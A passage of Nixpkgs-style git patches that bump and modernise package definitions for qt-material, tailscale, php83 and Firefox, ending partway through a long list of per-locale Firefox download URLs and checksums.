@@ -7,12 +7,12 @@
 
 buildPythonPackage rec {
   pname = "qt-material";
-  version = "2.14";
+  version = "2.17";
   format = "setuptools";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-tdu1relyF8964za7fAR8kL6zncfyBIpJjJFq1fL3riM=";
+    hash = "sha256-tQCgwfXvj0aozwN9GqW9+epOthgYC2MyU5373QZHrQ0=";
   };
 
   propagatedBuildInputs = [ jinja2 ];

From 0408cc3ac5e67c750b7428b26c6cb783fe273108 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Mon, 18 Aug 2025 11:56:13 +0200
Subject: [PATCH 4100/4511] qt-material: modernize, fix

- pypi as source failed to fetch, so use github fetcher
- pypi links to https://github.com/dunderlab/qt-material as the package homepage
- qt-material switched to a pyproject build
- adjust dependencies/build-system to accomodate

(cherry picked from commit db168f1f1bb05c655f93828a72417f31ea504bca)
---
 .../python-modules/qt-material/default.nix    | 26 ++++++++++++-------
 1 file changed, 16 insertions(+), 10 deletions(-)

diff --git a/pkgs/development/python-modules/qt-material/default.nix b/pkgs/development/python-modules/qt-material/default.nix
index 24c279dc3e89..3f3bb9e07284 100644
--- a/pkgs/development/python-modules/qt-material/default.nix
+++ b/pkgs/development/python-modules/qt-material/default.nix
@@ -1,28 +1,34 @@
 {
   lib,
   buildPythonPackage,
-  fetchPypi,
+  fetchFromGitHub,
   jinja2,
+  setuptools,
 }:
 
 buildPythonPackage rec {
   pname = "qt-material";
   version = "2.17";
-  format = "setuptools";
+  pyproject = true;
 
-  src = fetchPypi {
-    inherit pname version;
-    hash = "sha256-tQCgwfXvj0aozwN9GqW9+epOthgYC2MyU5373QZHrQ0=";
+  src = fetchFromGitHub {
+    owner = "dunderlab";
+    repo = "qt-material";
+    tag = "v${version}";
+    hash = "sha256-ilrPA8SoVCo6FgwxWQ4sOjqURCFDQJLlTTkCZzTZQKI=";
   };
 
-  propagatedBuildInputs = [ jinja2 ];
+  build-system = [ setuptools ];
+
+  dependencies = [ jinja2 ];
 
   pythonImportsCheck = [ "qt_material" ];
 
-  meta = with lib; {
+  meta = {
+    changelog = "https://github.com/dunderlab/qt-material/releases/tag/${src.tag}";
     description = "Material inspired stylesheet for PySide2, PySide6, PyQt5 and PyQt6";
-    homepage = "https://github.com/UN-GCPDS/qt-material";
-    license = licenses.bsd2;
-    maintainers = with maintainers; [ _999eagle ];
+    homepage = "https://github.com/dunderlab/qt-material";
+    license = lib.licenses.bsd2;
+    maintainers = with lib.maintainers; [ _999eagle ];
   };
 }

From 95dd1df7cb8bb9dfb4cf0b5b026957c998060a1d Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Wed, 20 Aug 2025 14:37:44 -0700
Subject: [PATCH 4101/4511] tailscale: use finalAttrs style

(cherry picked from commit 92d3296cb603418f889523152a09f3925a6ca0b7)
---
 pkgs/by-name/ta/tailscale/package.nix | 17 +++++++----------
 1 file changed, 7 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index a706e85501e1..38ee0ebca66e 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -22,12 +22,9 @@
   tailscale-nginx-auth,
 }:
 
-let
-  version = "1.82.5";
-in
-buildGoModule {
+buildGoModule (finalAttrs: {
   pname = "tailscale";
-  inherit version;
+  version = "1.82.5";
 
   outputs = [
     "out"
@@ -37,7 +34,7 @@ buildGoModule {
   src = fetchFromGitHub {
     owner = "tailscale";
     repo = "tailscale";
-    rev = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-BFitj8A+TfNKTyXBB1YhsEs5NvLUfgJ2IbjB2ipf4xU=";
   };
 
@@ -71,8 +68,8 @@ buildGoModule {
   ldflags = [
     "-w"
     "-s"
-    "-X tailscale.com/version.longStamp=${version}"
-    "-X tailscale.com/version.shortStamp=${version}"
+    "-X tailscale.com/version.longStamp=${finalAttrs.version}"
+    "-X tailscale.com/version.shortStamp=${finalAttrs.version}"
   ];
 
   tags = [
@@ -214,7 +211,7 @@ buildGoModule {
   meta = {
     homepage = "https://tailscale.com";
     description = "Node agent for Tailscale, a mesh VPN built on WireGuard";
-    changelog = "https://github.com/tailscale/tailscale/releases/tag/v${version}";
+    changelog = "https://tailscale.com/changelog#client";
     license = lib.licenses.bsd3;
     mainProgram = "tailscale";
     maintainers = with lib.maintainers; [
@@ -225,4 +222,4 @@ buildGoModule {
       ryan4yin
     ];
   };
-}
+})

From 4e38668a1b3c36f5fe919364ec26e7978e5ce85f Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Wed, 20 Aug 2025 14:38:07 -0700
Subject: [PATCH 4102/4511] tailscale: add philiptaron as maintainer

I'm part of the [Tailscale Insiders](https://tailscale.com/blog/tailscale-insiders-update-seattle-meetup-news) team and am passionate about making Tailscale on Nix and NixOS the best it can be.

(cherry picked from commit 45a869267bfa242b3439c840ca44f79543cc1912)
---
 pkgs/by-name/ta/tailscale/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index 38ee0ebca66e..38a3fcd7a258 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -218,6 +218,7 @@ buildGoModule (finalAttrs: {
       mbaillie
       jk
       mfrw
+      philiptaron
       pyrox0
       ryan4yin
     ];

From 06da25caeca7dd640612a1272dda68a765d5b5df Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 31 Aug 2025 05:05:45 +0000
Subject: [PATCH 4103/4511] php83: 8.3.24 -> 8.3.25

(cherry picked from commit 3f4edc99d78e726b6574c842f37dc90b0d32b710)
---
 pkgs/development/interpreters/php/8.3.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.3.nix b/pkgs/development/interpreters/php/8.3.nix
index c041925e7f07..da589dc17fb8 100644
--- a/pkgs/development/interpreters/php/8.3.nix
+++ b/pkgs/development/interpreters/php/8.3.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.3.24";
-      hash = "sha256-5OEtpJB0aSRiTJFAa2CzGWfk173qu6uejLU1SITumWQ=";
+      version = "8.3.25";
+      hash = "sha256-BuVHkeERkvCJ5NIMcW8lvdzr3elRtXC1Ve37WYiotxo=";
     }
   );
 in

From 700ef0a56a5b4c7edd1da66587224e4cc74e8edd Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 31 Aug 2025 01:33:58 +0200
Subject: [PATCH 4104/4511] firefox-unwrapped: 142.0 -> 142.0.1

https://www.firefox.com/en-US/firefox/142.0.1/releasenotes/
(cherry picked from commit b50580617039ef9c567b68245418b6cdbf64e93a)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index c4bb18ac4987..2406118af179 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "142.0";
+  version = "142.0.1";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "b0c1c766083a30a92b77dcf16a584d9fb341cd811d21c3a34da4cd0d714fd6adc73b608092d66058697bc4562faacc44859153e49ffdeb6e14e059e59f2ea246";
+    sha512 = "fca1b9c67a0b2f216f1f11fd5e3a08920998921e3d61eb633f1dde7fe69cb40cdbb63a41a1dfc4f1022509da643e3791467d88e62e7ea30b293ebf69d87bb585";
   };
 
   meta = {

From 43fb0898d595fc8d4a87a7f608694e67da97bbea Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 31 Aug 2025 01:34:23 +0200
Subject: [PATCH 4105/4511] firefox-bin-unwrapped: 142.0 -> 142.0.1

https://www.mozilla.org/en-US/firefox/142.0.1/releasenotes/
(cherry picked from commit 33403310e3d208513575dec9653389b5df42f7fa)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 2c4c842f9a96..dcff0a16cf94 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "142.0";
+  version = "142.0.1";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ach/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ach/firefox-142.0.1.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "976f6cc23f5e2f424707fd42e30d9ce29086748ae7e817ff5ee3f69e628ad744";
+      sha256 = "9a36fb647bafb38d9fbf2e24e2e9c49c15822051036240744720f313aa7b2e2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/af/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/af/firefox-142.0.1.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "ad0d46e8f2805bd1fe3fd3382db7c0c6d4e30a9ef2c9b3fb10ffedd05da9e173";
+      sha256 = "804ad8e96c438cffa2771788bd1582c36881bce87f62c2841aec4afbd9e87824";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/an/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/an/firefox-142.0.1.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "bb1e2662b6a1c1b78ead75953d680ca458a297200535d581f0efa78e9af98f6e";
+      sha256 = "c70a223bf48631372e0eefc2ca52211f149a8a841bdc2ff085c01d62513168c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ar/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ar/firefox-142.0.1.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "c918c6ee47806c78fb5e30ed3200521f6ceb32944e09c305779c11c0904dcf19";
+      sha256 = "eccdde6ff46922f02f7de3dee3665c25fc65f858155737bc304e515fbeb7f479";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ast/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ast/firefox-142.0.1.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "1796c0d0e1ec2611d3163771fd4a28e9d5338718d3f4b3d0b2b6708060a757d8";
+      sha256 = "b6c2785176f5ce746562ffb61660bcf7e029469cf0b44b0ab53a22be553b569e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/az/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/az/firefox-142.0.1.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "fd9c59ef7973e3f77328fb3c47a62f5615cc99119344f2131ab5a6e8da1123db";
+      sha256 = "c02196d2a2b6ba18f0677ddc01caf2fadddb18269905c0163ac20f0d287c7ec4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/be/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/be/firefox-142.0.1.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "edd79a3228f633f0c14f782743b557ca9f3bf6640dc2abead7214dc654bae573";
+      sha256 = "75362ea56c618c1b1f0570265911f4de1111dea244a110c95a16a5a36b726a91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/bg/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/bg/firefox-142.0.1.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "71a98e2e79b7eff784d7af92cbe5ec036e8377732252bd8e6a3e5fe972596702";
+      sha256 = "4eba6efaba500f52cc6362546adb2e32d0a15ac59412fb2348fa72978b5eba63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/bn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/bn/firefox-142.0.1.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "db927c2ddb58a6de6037137efa711cbe83f9de193e19adcc964045dceb846e53";
+      sha256 = "2cca7cf3ea16fb6dce695b3ed57e9138790a60b8166b4454cf4e2f3af6fc783b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/br/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/br/firefox-142.0.1.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "ba126d77778c751dc5d200921cf0b73f2fa84298d19f1fd62a69e187aa3b7626";
+      sha256 = "2d329439eb10626a1ce0690ebb74c203638c8ba2df9b903955771ece98974c60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/bs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/bs/firefox-142.0.1.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "ed08e068f1f13e44d799ba9406fedecb32dd38d256097b238a9d7f302477f58a";
+      sha256 = "08228c2330d580f661e96c9cf0d9ce468ca5ef67744315f590fc4da2b3cb7290";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ca-valencia/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ca-valencia/firefox-142.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "18ec8149098c8d0d78e043567e07fcf6e724ed09c6f7fd99f69e0330abee9df8";
+      sha256 = "abde8c9f3e6bb4e3b2820ccd2ed8033d0d63021ac331004cf6b9fd6dbde9fe3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ca/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ca/firefox-142.0.1.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "1edcfb2adf59b4a00e7015a9e43e8351e08b0f6e0985fb925b401dd30487baed";
+      sha256 = "79ed8fd92c961b5a5b66c3e546a04237da03d33e6ae05dcf9eadb5cd5168b8fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/cak/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/cak/firefox-142.0.1.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "39c85d9d3518d21be8f45750deaa1aab39e74f178c77c07d6aba334f62e23b11";
+      sha256 = "89817ace0c45308e2ad147f92a1240e46af0925df492daf34ab5d13b672197cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/cs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/cs/firefox-142.0.1.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "ee022094dfd544c523e6942a86ca8066a69fa5222105f7bd699bfc36c05ac368";
+      sha256 = "ce26d6f57d4266b63ca5aba3227854cb1cfeb8851ec0418a5d456137195e4ec2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/cy/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/cy/firefox-142.0.1.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "432e72cabe82d1cd92c957230c70c4032c90cfe073b5396c774dad7d5f450498";
+      sha256 = "e26835d21cb7f12b561f04bebf5c8e9e13d1c3dfbd10333b8843a8d003cea1bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/da/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/da/firefox-142.0.1.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "406b5bd9ab26ef389b29c73d0256fbd30b4b7d175a7d80ce0c6574c077cb169e";
+      sha256 = "577542f5c21afe486823d90a6fd8138c99c1f855e73fe74e5161322fbc4536a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/de/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/de/firefox-142.0.1.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "78bc260583ed88785c7f566606bc75cb406c14321de5ec00ad8c5d5e131447fc";
+      sha256 = "108a7a358bb872f44fdbe4363835865029f09f769fb17ca634452bfb7d3eb588";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/dsb/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/dsb/firefox-142.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "0fc986d0bc419f0dc88e844ab3e7079d4b3472b5c059473d1143345dffbc588d";
+      sha256 = "5cf76d2e6ed73ccc4c2e5fd895765553407246dc7411fb7f1301a0fbff7ce68a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/el/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/el/firefox-142.0.1.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "a642b1852dc865911777dc21d30ed14b3f29d4320d02a94d00b62d484ae39e9e";
+      sha256 = "c8d83e07b7bdb4310f3c6829141ccfdce19e303b1d3409df2a525124be2594f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/en-CA/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/en-CA/firefox-142.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "ba05b60920e0c8e3fdbed5a5b3f9b804d94c5efaaf0204eeb189dd85d2bccce7";
+      sha256 = "75097e10ac4bff4f0b4b4a039b21d427ca37935aaac70ee596f2a8bca68ba00b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/en-GB/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/en-GB/firefox-142.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "325e635f2f60c2a09ccd1079f498addbb287c2f5bac5af956e40ce3b02462d81";
+      sha256 = "d5b2cab814e39171fa171ad5d1e55b6e1b56c1ce1f527a190c6be5bc438c7fcd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/en-US/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/en-US/firefox-142.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "da8897a6a618e73878e6022a2bece76af509c304c73ae5c53dc523d35cb7bae6";
+      sha256 = "8f47a714610a624ad536a652a70242aa894a37f65565fd3103d4366869743b91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/eo/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/eo/firefox-142.0.1.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "c9da2c7d09c40bc746a91820747a5f11b1a2a9893a5545d5d62a5d8e18bc37db";
+      sha256 = "6554f2d72d282eae1a58dbdf6e226ffc3ef181b61cc8399b76f774eebfd69983";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/es-AR/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/es-AR/firefox-142.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "d5cb86ad0b547ae94175ae1a5701e423c55999ea12406daa4068415dbb9300ea";
+      sha256 = "6bc8eb3056bb467af251a5dc66b7f8c72cf27b3fbda43b1abed3e5a2f39d805c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/es-CL/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/es-CL/firefox-142.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "0acf0f75cefdae8a4c9e2ecc316219926a737ed625d8907b816453aa662e0712";
+      sha256 = "456e0004a92c13194e79e8fcf0889297fd766212d12e9a3cd042cff21bc3af69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/es-ES/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/es-ES/firefox-142.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "150d931d17242ddd3d795918dfa2feec0de721144e44c7509e3d5c0badb9471f";
+      sha256 = "3ce2583a5aec462ad844b442a1b55bc169356589bd689bd6659a19c5217ec562";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/es-MX/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/es-MX/firefox-142.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "e4f02ef45ef112342b27c4064287dd6230ea807835dffc89484c7c78554fb926";
+      sha256 = "ec1b00e30e7f4190bf1b2f1fffe3ddd1b4670881902120bec02ff5e07390e095";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/et/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/et/firefox-142.0.1.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "635f5596736bc0a19c42f7b30aacbf4800d4c844bedfc2d6b080db428fc63f98";
+      sha256 = "5ba3b11cb096643d68816befbf4fb85e44386eebe16c1f12317354390ad09766";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/eu/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/eu/firefox-142.0.1.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "456c72d05b30537ea7b25964e70034a98d76b4559805135bdff286017b63e238";
+      sha256 = "d53d6b6b636adb1c34490947c60ed4d554a5f4dcc6e0fd01c27ecee4a042c31e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fa/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/fa/firefox-142.0.1.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "8b14a40b42727c15f3fcb3255e71a9d74d712186ce82be034dd7045ade7ebdc3";
+      sha256 = "e429f9a1ff72db5ca9eabe77220e4fdff32a58cf470dc87a606441e78738b7d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ff/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ff/firefox-142.0.1.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "5fec4d8fd012bea2a96c4c6e707f253a5d8d000c21b6ce27e478116e8953146f";
+      sha256 = "7a5b1815b130f6e5eaed8188545d15557c8d9092470ce9afcc5c13645910865a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fi/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/fi/firefox-142.0.1.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "0b11eb23bcc283777ba30a114496aeb7a87817afd961a2db9669d724f5b7675d";
+      sha256 = "eaec66c590c1a98c5c5467a384a8e99133d70d125f0dc1e81568c105c161ba9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/fr/firefox-142.0.1.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "587c9bb19db79eb2ebc4243dabb514144746884065588c0ede15df5283f4f5b3";
+      sha256 = "22b9e600c5014d52338c8212c631e8c773fcf1f215bedeb525d957d053e1d2e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fur/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/fur/firefox-142.0.1.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "5e96d08d90c378864f63ba07c4f1328f17f5b79c3b0d49469d77335c31b55c51";
+      sha256 = "38e8cdd1ad9724cc2ea18ee5cc6746051988593bfe51cbd15c38fe50e69d63f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/fy-NL/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/fy-NL/firefox-142.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "b847fb56503ead73435ece318f3a0b95a39c58accccacd5d09345dfa8bde89f7";
+      sha256 = "460ddd346b431556ce730b1e7b0bf629a9bf50ec122aeea511c9877207f11e88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ga-IE/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ga-IE/firefox-142.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "38aa9a55cfd3d41c47fe0a176bb6bbc5214a9801579045d9a62a35a3e64d75f0";
+      sha256 = "3e6616a330a929014545c653ef994be5ec424f0e20e4de231bd204383cf90801";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/gd/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/gd/firefox-142.0.1.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "779c07699548e94142a84610ecc45b80d0f7d3e87ad83cdfeb1697cfe6fd9d44";
+      sha256 = "5fc94bbc71a769f459be451adc7edffcb8d413680770d9ea151860ddac7ddc28";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/gl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/gl/firefox-142.0.1.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "2b610417fc4e835b973438367a6dc185ddbd2e855516b1381c1db1a2d735b64e";
+      sha256 = "13719587559a3bd8e30570f5cd63b00e8fb978f535b2ff7d9b508a980588c2dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/gn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/gn/firefox-142.0.1.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "80f24fc46d9740973ce64ed08f27f95de4589e61ef0ecb67425041acc346dcc6";
+      sha256 = "2db0c56fb779f1d36bc1e4b5183ddbcaf7c430246c5e8d72f0a28af43cd12794";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/gu-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/gu-IN/firefox-142.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "fe251ca598869714166e78197b3e877ee62897dcbd77c96866006c4a596578de";
+      sha256 = "3659073e5a7aa9be217316ff2da4298cbab268a42bcde2e28ff7645e2bb2e64e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/he/firefox-142.0.tar.xz";
